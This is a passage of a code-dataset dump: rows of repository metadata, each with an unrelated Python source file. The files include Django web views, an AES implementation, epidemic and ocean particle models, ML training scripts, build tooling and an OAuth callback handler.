] | null | null | null | django/www/MeteoGaliciaDB/registros/views.py | hugo-lorenzo-mato/Meteo-Galicia-DB | 3dd52534c16216de5f25cd40877d2facc7cffe24 | [
"MIT"
] | null | null | null | django/www/MeteoGaliciaDB/registros/views.py | hugo-lorenzo-mato/Meteo-Galicia-DB | 3dd52534c16216de5f25cd40877d2facc7cffe24 | [
"MIT"
] | 1 | 2021-04-27T18:37:41.000Z | 2021-04-27T18:37:41.000Z | from django.shortcuts import render
from . import forms
from django.core.urlresolvers import reverse
from django.contrib.auth.decorators import login_required
from django.http import HttpResponse, HttpResponseRedirect
from django.contrib.auth import authenticate,login,logout
# Create your views here.
@login_required... | 33.151515 | 136 | 0.652194 |
5bb1a299d905125d5884457c9e08858d1b9184c9 | 13,407 | py | Python | client_DEBUG_ROUNDS.py | Andrew-Wichmann/AESpy | 0f00dfb814ef65df0a728197baa4fa60eeab7777 | [
"MIT"
] | null | null | null | client_DEBUG_ROUNDS.py | Andrew-Wichmann/AESpy | 0f00dfb814ef65df0a728197baa4fa60eeab7777 | [
"MIT"
] | null | null | null | client_DEBUG_ROUNDS.py | Andrew-Wichmann/AESpy | 0f00dfb814ef65df0a728197baa4fa60eeab7777 | [
"MIT"
] | null | null | null | import sys
import io
from BitVector import *
num_of_rounds=11
#AES modulus
modulus = BitVector( bitstring='100011011' )
#key_bitvector=BitVector(hexstring = "00000000000000000000000000000000")
#key_bitvector=BitVector(hexstring = "0f1571c947d9e8590cb7add6af7f6798")
key_bitvector = BitVector(textstring = "This is my ... | 36.531335 | 314 | 0.673007 |
68866faffe4c28071acc722f7eadca5bd37114b7 | 7,815 | py | Python | ACC_particle_experiments/scripts_tracer_release/trelease_coarse_Markov1_K15000.py | daanreijnders/isoneutral-dispersion | 88259ba658d15611609f52e1615aff37a54e7289 | [
"MIT"
] | 1 | 2022-03-18T08:47:41.000Z | 2022-03-18T08:47:41.000Z | ACC_particle_experiments/scripts_tracer_release/trelease_coarse_Markov1_K15000.py | daanreijnders/isoneutral-dispersion | 88259ba658d15611609f52e1615aff37a54e7289 | [
"MIT"
] | null | null | null | ACC_particle_experiments/scripts_tracer_release/trelease_coarse_Markov1_K15000.py | daanreijnders/isoneutral-dispersion | 88259ba658d15611609f52e1615aff37a54e7289 | [
"MIT"
] | 1 | 2022-03-18T08:47:42.000Z | 2022-03-18T08:47:42.000Z | import importlib
import sys
from datetime import timedelta as delta
import numpy as np
import parcels
import xarray as xr
sys.path.append("/nethome/4302001/diffusion-hydro-mod/kernels")
import density_elements_sampled
import Le_Sommer_elements
import EM_3D_BC
import M1_3D_BC
import K_Le_Sommer
import K_Redi_smallslop... | 36.180556 | 177 | 0.642099 |
69accde6c5fc777d0db211af009870b0afd656ff | 16,400 | py | Python | code/sir_model.py | oskali/mit_cassandra | 522460c29a9bfb6fe16ff85775f52d78d5372233 | [
"MIT"
] | null | null | null | code/sir_model.py | oskali/mit_cassandra | 522460c29a9bfb6fe16ff85775f52d78d5372233 | [
"MIT"
] | null | null | null | code/sir_model.py | oskali/mit_cassandra | 522460c29a9bfb6fe16ff85775f52d78d5372233 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on Wed Jun 24 15:01:53 2020
@author: leann, omars
"""
#%% Libraries
import numpy as np
from scipy.integrate import odeint as ode
import pandas as pd
from copy import deepcopy
import scipy.optimize as optimize
from datetime import timedelta
from sklearn.metrics import mean_squared_... | 45.555556 | 253 | 0.495915 |
a78874d1ef795e48f6fa3fc68c594272f2526cb1 | 3,317 | py | Python | DRF Doc/PastebinAPI/start_project/settings.py | ibnshayed/Python-Programming | a5c50b7ced5131b25260f4c3401f98d016ea8355 | [
"MIT"
] | null | null | null | DRF Doc/PastebinAPI/start_project/settings.py | ibnshayed/Python-Programming | a5c50b7ced5131b25260f4c3401f98d016ea8355 | [
"MIT"
] | null | null | null | DRF Doc/PastebinAPI/start_project/settings.py | ibnshayed/Python-Programming | a5c50b7ced5131b25260f4c3401f98d016ea8355 | [
"MIT"
] | null | null | null | """
Django settings for start_project project.
Generated by 'django-admin startproject' using Django 3.1.7.
For more information on this file, see
https://docs.djangoproject.com/en/3.1/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.1/ref/settings/
"""
from p... | 25.128788 | 91 | 0.696412 |
71a5d310438f696ca0d9bfde5376ce1ceff33406 | 260 | py | Python | array/max_product.py | elenaborisova/LeetCode-Solutions | 98376aab7fd150a724e316357ae5ea46988d9eac | [
"MIT"
] | null | null | null | array/max_product.py | elenaborisova/LeetCode-Solutions | 98376aab7fd150a724e316357ae5ea46988d9eac | [
"MIT"
] | null | null | null | array/max_product.py | elenaborisova/LeetCode-Solutions | 98376aab7fd150a724e316357ae5ea46988d9eac | [
"MIT"
] | null | null | null | def max_product(nums):
first_num = nums.pop(nums.index(max(nums)))
second_num = max(nums)
result = (first_num - 1) * (second_num - 1)
return result
print(max_product([3, 4, 5, 2]))
print(max_product([1, 5, 4, 5]))
print(max_product([3, 7]))
| 21.666667 | 47 | 0.630769 |
18e9b1d9c77f0ff1bac5307d4c6c9ada00b3705b | 760 | py | Python | Leetcode/Python/_231.py | Xrenya/algorithms | aded82cacde2f4f2114241907861251e0e2e5638 | [
"MIT"
] | 1 | 2021-11-28T15:03:32.000Z | 2021-11-28T15:03:32.000Z | Leetcode/Python/_231.py | Xrenya/algorithms | aded82cacde2f4f2114241907861251e0e2e5638 | [
"MIT"
] | null | null | null | Leetcode/Python/_231.py | Xrenya/algorithms | aded82cacde2f4f2114241907861251e0e2e5638 | [
"MIT"
] | null | null | null | import math
class Solution:
def isPowerOfTwo(self, n: int) -> bool:
if n <= 0:
return False
base = math.floor(math.log(n, 2))
return 2**base == n
class Solution:
def isPowerOfTwo(self, n: int) -> bool:
power = 0
num = 2
if n == 1:
re... | 21.111111 | 43 | 0.413158 |
9c45209bd12e975f43545c6e4b429ff7d6ce58e9 | 5,081 | py | Python | ramachandran/download.py | leimao/Ramachandran | 8080697cced0b33792493de8d784467734433ca5 | [
"Apache-2.0"
] | 2 | 2021-02-15T07:11:26.000Z | 2021-02-23T09:25:54.000Z | ramachandran/download.py | leimao/Ramachandran | 8080697cced0b33792493de8d784467734433ca5 | [
"Apache-2.0"
] | null | null | null | ramachandran/download.py | leimao/Ramachandran | 8080697cced0b33792493de8d784467734433ca5 | [
"Apache-2.0"
] | null | null | null | from typing import List
import os
import requests
import json
import asyncio
import aiohttp
import time
import tqdm
sem = asyncio.Semaphore(20)
def query_x_ray_entries(maximum_resolution: float = 1.5) -> List[str]:
# RCSB search API
# https://search.rcsb.org/redoc/index.html
# https://search.rcsb.org/in... | 31.559006 | 87 | 0.535131 |
d8cca4a8bf5d21134640ba9e13f8d2c67fee502c | 3,996 | py | Python | src/py/flwr/server/grpc_server/flower_service_servicer.py | sandracl72/flower | bb7f6e2e1f52753820784d262618113b4e7ebc42 | [
"Apache-2.0"
] | null | null | null | src/py/flwr/server/grpc_server/flower_service_servicer.py | sandracl72/flower | bb7f6e2e1f52753820784d262618113b4e7ebc42 | [
"Apache-2.0"
] | null | null | null | src/py/flwr/server/grpc_server/flower_service_servicer.py | sandracl72/flower | bb7f6e2e1f52753820784d262618113b4e7ebc42 | [
"Apache-2.0"
] | null | null | null | # Copyright 2020 Adap GmbH. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ag... | 36.327273 | 81 | 0.674925 |
cb5be9f023ed5d34046700ec7f33ae62b0db3067 | 741 | py | Python | valet/urls.py | rayhu-osu/vcube | ff1af048adb8a9f1007368150a78b309b4d821af | [
"MIT"
] | 1 | 2019-02-20T18:47:04.000Z | 2019-02-20T18:47:04.000Z | valet/urls.py | rayhu-osu/vcube | ff1af048adb8a9f1007368150a78b309b4d821af | [
"MIT"
] | null | null | null | valet/urls.py | rayhu-osu/vcube | ff1af048adb8a9f1007368150a78b309b4d821af | [
"MIT"
] | null | null | null | from django.conf.urls import url
from django.conf import settings
from django.conf.urls.static import static
from . import views
app_name = 'valet'
urlpatterns = [
url(r'^(?P<driver_id>[0-9]+)/$', views.index, name='index'),
url(r'^(?P<driver_id>[0-9]+)/availability/$', views.availability, name='availability'),
url... | 43.588235 | 111 | 0.681511 |
f58b6cd057713fa2c1f00fcde0a34c1dc48cf093 | 13,912 | py | Python | infra/gcb/build_project.py | kerberosmansour/oss-fuzz | c9f563c83a83edc817e7e8958477533d5b0b2b80 | [
"Apache-2.0"
] | 1 | 2020-03-20T04:10:59.000Z | 2020-03-20T04:10:59.000Z | infra/gcb/build_project.py | kerberosmansour/oss-fuzz | c9f563c83a83edc817e7e8958477533d5b0b2b80 | [
"Apache-2.0"
] | null | null | null | infra/gcb/build_project.py | kerberosmansour/oss-fuzz | c9f563c83a83edc817e7e8958477533d5b0b2b80 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/python2
"""Starts project build on Google Cloud Builder.
Usage: build_project.py <project_dir>
"""
from __future__ import print_function
import datetime
import json
import os
import re
import sys
import yaml
from oauth2client.client import GoogleCredentials
from googleapiclient.discovery import build
im... | 32.966825 | 80 | 0.53249 |
8bbcb42cc4126dad27b43259f84b40161bcba088 | 5,917 | py | Python | AndroidTrustyOS/external/qemu/scripts/simpletrace.py | haitao52198/TrustyOS | 40ad09911aa12dd774fefcab9747c30da802d2c8 | [
"Apache-2.0"
] | 9 | 2017-11-10T15:54:02.000Z | 2021-04-15T20:57:29.000Z | AndroidTrustyOS/external/qemu/scripts/simpletrace.py | haitao52198/TrustyOS | 40ad09911aa12dd774fefcab9747c30da802d2c8 | [
"Apache-2.0"
] | null | null | null | AndroidTrustyOS/external/qemu/scripts/simpletrace.py | haitao52198/TrustyOS | 40ad09911aa12dd774fefcab9747c30da802d2c8 | [
"Apache-2.0"
] | 7 | 2018-01-08T02:53:32.000Z | 2020-10-15T13:01:46.000Z | #!/usr/bin/env python
#
# Pretty-printer for simple trace backend binary trace files
#
# Copyright IBM, Corp. 2010
#
# This work is licensed under the terms of the GNU GPL, version 2. See
# the COPYING file in the top-level directory.
#
# For help see docs/tracing.txt
import struct
import re
import inspect
from trace... | 31.811828 | 112 | 0.607909 |
bcbb8bf582b7260b9220fd17207211d2dbc409eb | 1,797 | py | Python | utils/date.py | holachau/Supermercados_BAN | 374d474dcd9bf763df129eae840fe17e1dd6f5f7 | [
"MIT"
] | 3 | 2018-10-27T19:11:16.000Z | 2018-10-28T18:49:53.000Z | utils/date.py | holachau/Trabajos-Practicos | 374d474dcd9bf763df129eae840fe17e1dd6f5f7 | [
"MIT"
] | 16 | 2018-10-28T14:12:42.000Z | 2018-11-12T01:54:16.000Z | utils/date.py | holachau/Trabajos-Practicos | 374d474dcd9bf763df129eae840fe17e1dd6f5f7 | [
"MIT"
] | null | null | null | from datetime import datetime, timedelta
formato = {
"date": {
"format": "%d-%m-%Y",
"label": "dd-mm-YYYY"
},
"datetime": {
"format": "%d-%m-%Y %H:%M:%S",
"label": "dd-mm-YYYY HH:mm:ss"
}
}
def newDate(fecha):
try:
return datetime.strptime(fecha, formato["da... | 23.644737 | 100 | 0.584307 |
cb0e91a72d4b2864d76b78527d3f3cbb813afd51 | 4,680 | py | Python | trec2015/sbin/salience-regression-dev/nugget-dist-graph.py | kedz/cuttsum | 992c21192af03fd2ef863f5ab7d10752f75580fa | [
"Apache-2.0"
] | 6 | 2015-09-10T02:22:21.000Z | 2021-10-01T16:36:46.000Z | trec2015/sbin/salience-regression-dev/nugget-dist-graph.py | kedz/cuttsum | 992c21192af03fd2ef863f5ab7d10752f75580fa | [
"Apache-2.0"
] | null | null | null | trec2015/sbin/salience-regression-dev/nugget-dist-graph.py | kedz/cuttsum | 992c21192af03fd2ef863f5ab7d10752f75580fa | [
"Apache-2.0"
] | 2 | 2018-04-04T10:44:32.000Z | 2021-10-01T16:37:26.000Z | import cuttsum.events
import cuttsum.judgements
import cuttsum.corpora
from cuttsum.pipeline import InputStreamResource
from cuttsum.classifiers import NuggetRegressor
import matplotlib.pylab as plt
plt.style.use('ggplot')
import pandas as pd
import numpy as np
from datetime import datetime
nuggets = cuttsum.judgemen... | 41.052632 | 141 | 0.611966 |
2f380a1c03fd07b51070a7681d1c88a8151f7bad | 613 | py | Python | Aulas_2/Aula11/Calculadora.py | Sofista23/Aula2_Python | 134d51bd7a33d753489ad2970a4f289273c93832 | [
"MIT"
] | null | null | null | Aulas_2/Aula11/Calculadora.py | Sofista23/Aula2_Python | 134d51bd7a33d753489ad2970a4f289273c93832 | [
"MIT"
] | null | null | null | Aulas_2/Aula11/Calculadora.py | Sofista23/Aula2_Python | 134d51bd7a33d753489ad2970a4f289273c93832 | [
"MIT"
] | null | null | null | def calculadora(x,y,alg):
if(alg=="+"):
r=x+y
print(f"A soma entre {x} e {y} é {r}!")
elif(alg=="-"):
if(x>y):
r=x-y
elif(x==y):
r=y-x
else:
r=y-x
print(f"A diferença entre {x} e {y} é {r}!")
elif(alg=="*"):
r=x*y
... | 26.652174 | 67 | 0.414356 |
8dc29eab421c0851afd7e0385ff68be9e30944f5 | 966 | py | Python | gui.py | Laxar0/trial-app-ht | d32bdeac4a2f7c22640553743a66988ce2fea945 | [
"MIT"
] | null | null | null | gui.py | Laxar0/trial-app-ht | d32bdeac4a2f7c22640553743a66988ce2fea945 | [
"MIT"
] | null | null | null | gui.py | Laxar0/trial-app-ht | d32bdeac4a2f7c22640553743a66988ce2fea945 | [
"MIT"
] | null | null | null | from tkinter import *
root = Tk()
root.geometry("425x150")
root['bg'] = 'Gray'
root.resizable(height = False, width = False)
root.title('Encoding')
r_var = IntVar()
entry1 = Entry(width = 50)
label1 = Label(text = 'Шифруемый текст: ')
entry2 = Entry(width = 50)
label2 = Label(text = 'Ключ: ')
b = Button(width = 12, ... | 26.108108 | 63 | 0.63354 |
0dcc594ee5221cdc70fabc8849beaeca80df4cad | 2,458 | py | Python | util/gendoubleconsts.py | wenq1/duktape | 5ed3eee19b291f3b3de0b212cc62c0aba0ab4ecb | [
"MIT"
] | 4,268 | 2015-01-01T17:33:40.000Z | 2022-03-31T17:53:31.000Z | util/gendoubleconsts.py | KiraanRK/esp32-duktape | 1b7fbcb8bd6bfc346d92df30ec099df7f13b03aa | [
"MIT"
] | 1,667 | 2015-01-01T22:43:03.000Z | 2022-02-23T22:27:19.000Z | util/gendoubleconsts.py | KiraanRK/esp32-duktape | 1b7fbcb8bd6bfc346d92df30ec099df7f13b03aa | [
"MIT"
] | 565 | 2015-01-08T14:15:28.000Z | 2022-03-31T16:29:31.000Z | #!/usr/bin/env python2
#
# Double constants, see http://en.wikipedia.org/wiki/Double-precision_floating-point_format.
# YAML builtins metadata expressed the constants in binary form (8 bytes of
# IEEE double data) to ensure bit exactness.
#
import struct
import mpmath
def create_double_constants_mpmath():
# Ju... | 49.16 | 129 | 0.664361 |
37963681da48150a95ea2c996363c8ec0e2137e7 | 252 | py | Python | python/easy/strings/mutations.py | Razor-87/hackerrank | b82dd1f97eeb3c2a9141b196b30b2820acd050e7 | [
"Unlicense"
] | null | null | null | python/easy/strings/mutations.py | Razor-87/hackerrank | b82dd1f97eeb3c2a9141b196b30b2820acd050e7 | [
"Unlicense"
] | null | null | null | python/easy/strings/mutations.py | Razor-87/hackerrank | b82dd1f97eeb3c2a9141b196b30b2820acd050e7 | [
"Unlicense"
] | null | null | null | # -*- coding: utf-8 -*-
def mutate_string(string: str, position: int, character: str) -> str:
"""
>>> mutate_string('abracadabra', 5, 'k')
'abrackdabra'
"""
lst = list(string)
lst[position] = character
return ''.join(lst)
| 21 | 69 | 0.571429 |
0efb702efb259e09689552b87aecca31b1d9bdb0 | 2,706 | py | Python | cpp/py/ecpy/native/EC.py | andynuma/time-release-encryption-py3 | a5c48d07fae8121b59100d4cd79d3e38402d928c | [
"MIT"
] | 48 | 2016-03-30T07:20:49.000Z | 2022-01-27T10:48:43.000Z | cpp/py/ecpy/native/EC.py | andynuma/time-release-encryption-py3 | a5c48d07fae8121b59100d4cd79d3e38402d928c | [
"MIT"
] | 11 | 2017-03-26T11:03:20.000Z | 2021-06-01T15:54:03.000Z | cpp/py/ecpy/native/EC.py | andynuma/time-release-encryption-py3 | a5c48d07fae8121b59100d4cd79d3e38402d928c | [
"MIT"
] | 12 | 2016-06-05T19:09:26.000Z | 2021-04-18T04:23:20.000Z | from .library import *
from .FF import FF, FF_elem
from .EF import EF, EF_elem
import ast
class EC(NativeProxy):
def __init__(s, base, a, b):
s.base = base
s.a = a
s.b = b
if isinstance(base, FF):
ptr = lib.EC_FF_create(to_char_ptr(str(a)), to_char_ptr(str(b)), base.ptr)
tostring_func = l... | 30.404494 | 104 | 0.626016 |
2e3bbbbb2e07a9074fbdbad5092e54d0b2cfd378 | 152,419 | py | Python | src/LuryParser.py | lury-lang/expr2018 | fcc5608041bdc2e82370451e2a40f024caf612de | [
"MIT"
] | null | null | null | src/LuryParser.py | lury-lang/expr2018 | fcc5608041bdc2e82370451e2a40f024caf612de | [
"MIT"
] | null | null | null | src/LuryParser.py | lury-lang/expr2018 | fcc5608041bdc2e82370451e2a40f024caf612de | [
"MIT"
] | null | null | null | # Generated from Lury.g4 by ANTLR 4.7.1
# encoding: utf-8
from antlr4 import *
from io import StringIO
from typing.io import TextIO
import sys
def serializedATN():
with StringIO() as buf:
buf.write("\3\u608b\ua72a\u8133\ub9ed\u417c\u3be7\u7786\u5964\3A")
buf.write("\u0177\4\2\t\2\4\3\t\3\4\4\t\4\4\... | 39.91071 | 630 | 0.593581 |
8cfdfe456bfa10655db24f02130c225b372ee915 | 5,754 | py | Python | utils/box_utils.py | jz1248/ssd-pytorch | 7903aeb53b78bc840eb3a0e0e805a3e3dcc85e47 | [
"MIT"
] | 1 | 2020-08-06T01:13:54.000Z | 2020-08-06T01:13:54.000Z | utils/box_utils.py | iwanggp/ssd-pytorch | ecc859bf1c5dcec99cebafea9f47f24e8c1cd88d | [
"MIT"
] | null | null | null | utils/box_utils.py | iwanggp/ssd-pytorch | ecc859bf1c5dcec99cebafea9f47f24e8c1cd88d | [
"MIT"
] | null | null | null | import torch
import numpy as np
from PIL import Image
def point_form(boxes):
return torch.cat((boxes[:, :2] - boxes[:, 2:]/2, # xmin, ymin
boxes[:, :2] + boxes[:, 2:]/2), 1) # xmax, ymax
def center_size(boxes):
return torch.cat((boxes[:, 2:] + boxes[:, :2])/2, # cx, cy
... | 32.693182 | 79 | 0.578728 |
9bf037155666da15f6b9ca1415b7b7bedeae7b9c | 8,824 | py | Python | callback.py | skeggse/terraform-aws-oauth2-authenticator | 76df9389b2858510c21782867d63ccba7f43ceab | [
"MIT"
] | null | null | null | callback.py | skeggse/terraform-aws-oauth2-authenticator | 76df9389b2858510c21782867d63ccba7f43ceab | [
"MIT"
] | 1 | 2021-05-19T20:03:44.000Z | 2021-05-19T20:03:44.000Z | callback.py | skeggse/terraform-aws-oauth2-authenticator | 76df9389b2858510c21782867d63ccba7f43ceab | [
"MIT"
] | null | null | null | import base64
from dataclasses import asdict, dataclass
from datetime import datetime, timedelta, timezone
from enum import Enum
from hmac import compare_digest
import json
from os import environ
import time
from typing import Any, FrozenSet
from urllib.parse import urlparse
import weakref
import boto3
import requests... | 35.580645 | 107 | 0.668178 |
3732cfbe2b887577becf6960745837d4cfa19505 | 2,683 | py | Python | language-translation/helper.py | silencehero/-udacity-deep-learning | d726f82538309ad75f12211c73d2ba9bc218eb92 | [
"MIT"
] | 4,171 | 2017-01-29T23:58:50.000Z | 2022-03-27T14:58:47.000Z | language-translation/helper.py | silencehero/-udacity-deep-learning | d726f82538309ad75f12211c73d2ba9bc218eb92 | [
"MIT"
] | 154 | 2017-03-03T12:42:46.000Z | 2021-07-27T18:21:10.000Z | language-translation/helper.py | silencehero/-udacity-deep-learning | d726f82538309ad75f12211c73d2ba9bc218eb92 | [
"MIT"
] | 4,928 | 2017-01-30T05:07:08.000Z | 2022-03-31T02:09:34.000Z | import os
import pickle
import copy
import numpy as np
CODES = {'<PAD>': 0, '<EOS>': 1, '<UNK>': 2, '<GO>': 3 }
def load_data(path):
"""
Load Dataset from File
"""
input_file = os.path.join(path)
with open(input_file, 'r', encoding='utf-8') as f:
return f.read()
def preprocess_and_save... | 26.83 | 110 | 0.664555 |
371b825fefe15246d3f07279fb11ab17b74f2065 | 5,558 | py | Python | training/encoderDecoder_main.py | aalto-speech/FinChat | 2792dafc550761e5af1ccd69ec55185716cd5e07 | [
"BSD-3-Clause"
] | 3 | 2020-11-03T14:01:49.000Z | 2021-12-27T07:39:14.000Z | training/encoderDecoder_main.py | aalto-speech/FinChat | 2792dafc550761e5af1ccd69ec55185716cd5e07 | [
"BSD-3-Clause"
] | 3 | 2020-06-04T11:40:30.000Z | 2020-06-04T11:41:08.000Z | training/encoderDecoder_main.py | aalto-speech/FinChat | 2792dafc550761e5af1ccd69ec55185716cd5e07 | [
"BSD-3-Clause"
] | 2 | 2020-06-12T14:13:32.000Z | 2020-06-23T08:28:15.000Z | __author__ = "Original code by Matthew Inkawhich <https://github.com/MatthewInkawhich>, modified by Juho Leinonen"
__copyright__ = "BSD 3-Clause license, 2017, Pytorch contributors"
# The script that prepares the data and trains the models.
# coding: utf-8
#
# Chatbot Tutorial
# ================
# **Author:** `Matthe... | 30.371585 | 115 | 0.709968 |
77b03721b9e9ed767fed924883e59da8c6aab470 | 911 | py | Python | Diddyborg_python/Legacy/pooling.py | puat133/DiddyBorg_Sensor_Fusion | 60b2511d3f38fa4e913199df2a3a734c5f28ad5c | [
"Apache-2.0"
] | 2 | 2019-10-02T06:21:56.000Z | 2021-05-06T17:12:35.000Z | Diddyborg_python/Legacy/pooling.py | EEA-sensors/elec-e8740-project-code-template | ef7020a9ed4f2ee25756dd907a16d602bffeb6fe | [
"Apache-2.0"
] | null | null | null | Diddyborg_python/Legacy/pooling.py | EEA-sensors/elec-e8740-project-code-template | ef7020a9ed4f2ee25756dd907a16d602bffeb6fe | [
"Apache-2.0"
] | 1 | 2021-04-01T21:39:44.000Z | 2021-04-01T21:39:44.000Z | import os
from multiprocessing import Pool
... | 75.916667 | 103 | 0.194292 |
3fab5773cbe73d0707e2e42ebebc9dd838a7b477 | 15,074 | py | Python | pymatgen/analysis/chemenv/connectivity/structure_connectivity.py | jhkim96/pymatgen | 8c1b3633897e14373d957aa2955c50176c68b71d | [
"MIT"
] | 1 | 2020-02-08T08:20:45.000Z | 2020-02-08T08:20:45.000Z | pymatgen/analysis/chemenv/connectivity/structure_connectivity.py | jhkim96/pymatgen | 8c1b3633897e14373d957aa2955c50176c68b71d | [
"MIT"
] | null | null | null | pymatgen/analysis/chemenv/connectivity/structure_connectivity.py | jhkim96/pymatgen | 8c1b3633897e14373d957aa2955c50176c68b71d | [
"MIT"
] | null | null | null | import networkx as nx
import numpy as np
import collections
from pymatgen.analysis.chemenv.coordination_environments.structure_environments import LightStructureEnvironments
from pymatgen.analysis.chemenv.connectivity.environment_nodes import get_environment_node
from pymatgen.analysis.chemenv.connectivity.connected_co... | 54.028674 | 119 | 0.577882 |
89b7ab7be2ab6dc8a6e46aa77f00aeb4cdc80072 | 21,953 | py | Python | rllib/tests/test_nested_observation_spaces.py | mgelbart/ray | 4cec2286572e368a4bd64aae467751a384eff62d | [
"Apache-2.0"
] | 22 | 2018-05-08T05:52:34.000Z | 2020-04-01T10:09:55.000Z | rllib/tests/test_nested_observation_spaces.py | mgelbart/ray | 4cec2286572e368a4bd64aae467751a384eff62d | [
"Apache-2.0"
] | 53 | 2021-10-06T20:08:04.000Z | 2022-03-21T20:17:25.000Z | rllib/tests/test_nested_observation_spaces.py | mgelbart/ray | 4cec2286572e368a4bd64aae467751a384eff62d | [
"Apache-2.0"
] | 10 | 2018-04-27T10:50:59.000Z | 2020-02-24T02:41:43.000Z | from gym import spaces
from gym.envs.registration import EnvSpec
import gym
import numpy as np
import pickle
import unittest
import ray
from ray.rllib.agents.a3c import A2CTrainer
from ray.rllib.agents.pg import PGTrainer
from ray.rllib.env import MultiAgentEnv
from ray.rllib.env.base_env import convert_to_base_env
fr... | 33.982972 | 87 | 0.561518 |
fd8b0c101865fd458201a67da28e04beb4c24234 | 1,792 | py | Python | model/AtmLocal.py | perseveranceLX/iterative-dehaze | dc5d56b2bf86460fff9d478e68368d2fffe78ba4 | [
"MIT"
] | 1 | 2022-02-12T13:04:08.000Z | 2022-02-12T13:04:08.000Z | model/AtmLocal.py | perseveranceLX/iterative-dehaze | dc5d56b2bf86460fff9d478e68368d2fffe78ba4 | [
"MIT"
] | null | null | null | model/AtmLocal.py | perseveranceLX/iterative-dehaze | dc5d56b2bf86460fff9d478e68368d2fffe78ba4 | [
"MIT"
] | null | null | null | import torch
import torch.nn as nn
import torch.nn.functional as F
def make_model():
return AtmLocal()
class DoubleConv(nn.Module):
def __init__(self, in_ch, out_ch):
super(DoubleConv, self).__init__()
self.conv = nn.Sequential(
nn.Conv2d(in_ch, out_ch, 3, padding=1),
n... | 28.903226 | 61 | 0.563058 |
327df298c58bff808fe1e9accdaf480c2404b631 | 4,261 | py | Python | tests/unit/test_auth.py | danofsatx/resources_api | 664532ee3ab4cb7c5000166d84ba371cf8b7713a | [
"MIT"
] | null | null | null | tests/unit/test_auth.py | danofsatx/resources_api | 664532ee3ab4cb7c5000166d84ba371cf8b7713a | [
"MIT"
] | null | null | null | tests/unit/test_auth.py | danofsatx/resources_api | 664532ee3ab4cb7c5000166d84ba371cf8b7713a | [
"MIT"
] | 1 | 2019-02-11T20:04:50.000Z | 2019-02-11T20:04:50.000Z | from unittest.mock import patch
from app.api.auth import (ApiKeyError, ApiKeyErrorCode, authenticate,
blacklist_key, find_key_by_apikey_or_email,
rotate_key)
from app.models import Key
from flask import g
FAKE_EMAIL = 'test@example.org'
FAKE_APIKEY = 'abcdef12345678... | 24.488506 | 77 | 0.687397 |
ed561c25178db103ab458e58e2303f5d6ad6dda0 | 4,725 | py | Python | third_party/lemonscript_transpiler/objects/file.py | hansonl02/frc-robot-code | 4b120c917a7709df9f010c9089a87c320bab3a16 | [
"MIT"
] | 61 | 2017-01-22T04:38:32.000Z | 2022-03-07T00:04:37.000Z | third_party/lemonscript_transpiler/objects/file.py | hansonl02/frc-robot-code | 4b120c917a7709df9f010c9089a87c320bab3a16 | [
"MIT"
] | 10 | 2016-05-20T00:11:33.000Z | 2017-02-13T01:43:09.000Z | third_party/lemonscript_transpiler/objects/file.py | hansonl02/frc-robot-code | 4b120c917a7709df9f010c9089a87c320bab3a16 | [
"MIT"
] | 17 | 2017-05-12T15:32:03.000Z | 2021-12-09T12:49:38.000Z | import re
from .logger import Logger
class File(object):
"""
This class represents a file that can have parts of it replaced with text
or another file.
"Tags" in the file are represented by strings enclosed in pairs of 3 angle
brackets. For example:
file.txt:
---
My favorite animal is... | 33.510638 | 101 | 0.591111 |
aac467b66cc102d15e706652fffb0542ad02156a | 3,224 | py | Python | distributed/http/scheduler/prometheus/semaphore.py | cameron16/distributed | fd611cb032d4161b20a8e9a500e9b76c9ef2c17c | [
"BSD-3-Clause"
] | null | null | null | distributed/http/scheduler/prometheus/semaphore.py | cameron16/distributed | fd611cb032d4161b20a8e9a500e9b76c9ef2c17c | [
"BSD-3-Clause"
] | null | null | null | distributed/http/scheduler/prometheus/semaphore.py | cameron16/distributed | fd611cb032d4161b20a8e9a500e9b76c9ef2c17c | [
"BSD-3-Clause"
] | null | null | null | class SemaphoreMetricExtension:
def __init__(self, dask_server):
self.server = dask_server
def collect(self):
from prometheus_client.core import CounterMetricFamily, GaugeMetricFamily
sem_ext = self.server.extensions["semaphores"]
semaphore_max_leases_family = GaugeMetricFamil... | 41.87013 | 114 | 0.634926 |
d74655eba30a9edb904558651d26bc7d3a619e22 | 2,147 | py | Python | apps/api/views/case_views.py | ranyong1997/Sakura_Infinity | 700c3e8497077b266958f1d26525469d1f0cd87f | [
"MIT"
] | 1 | 2022-03-24T05:33:30.000Z | 2022-03-24T05:33:30.000Z | apps/api/views/case_views.py | ranyong1997/Sakura_Infinity | 700c3e8497077b266958f1d26525469d1f0cd87f | [
"MIT"
] | null | null | null | apps/api/views/case_views.py | ranyong1997/Sakura_Infinity | 700c3e8497077b266958f1d26525469d1f0cd87f | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from rest_framework import filters
from django_filters.rest_framework import DjangoFilterBackend
from rest_framework import viewsets
from rest_framework.permissions import IsAuthenticated
from ..permissions import IsOwnerOrReadOnly
from rest_framework.authentication import SessionAuthenticatio... | 32.530303 | 110 | 0.701444 |
28b27029a6b705de9f59ec4b3540702778c1f686 | 2,036 | py | Python | flipsidegram/images/serializers.py | flipsid2/flipsidegram | fd4ca676872a04c2bd527faa391d2b0a992ce1c4 | [
"MIT"
] | null | null | null | flipsidegram/images/serializers.py | flipsid2/flipsidegram | fd4ca676872a04c2bd527faa391d2b0a992ce1c4 | [
"MIT"
] | null | null | null | flipsidegram/images/serializers.py | flipsid2/flipsidegram | fd4ca676872a04c2bd527faa391d2b0a992ce1c4 | [
"MIT"
] | null | null | null | from rest_framework import serializers
from taggit_serializer.serializers import (TagListSerializerField,
TaggitSerializer)
from . import models
from flipsidegram.users import models as user_models
class SmallImageSerializer(serializers.ModelSerializer):
""" Used for th... | 20.565657 | 69 | 0.557466 |
15ffeaa8fbc745b677e9821a8c42f316cfae3c33 | 11,231 | py | Python | heaviside/sfn.py | jhuapl-boss/heaviside | 481b232864438a91458f1932ca70fe27476e2846 | [
"Apache-2.0"
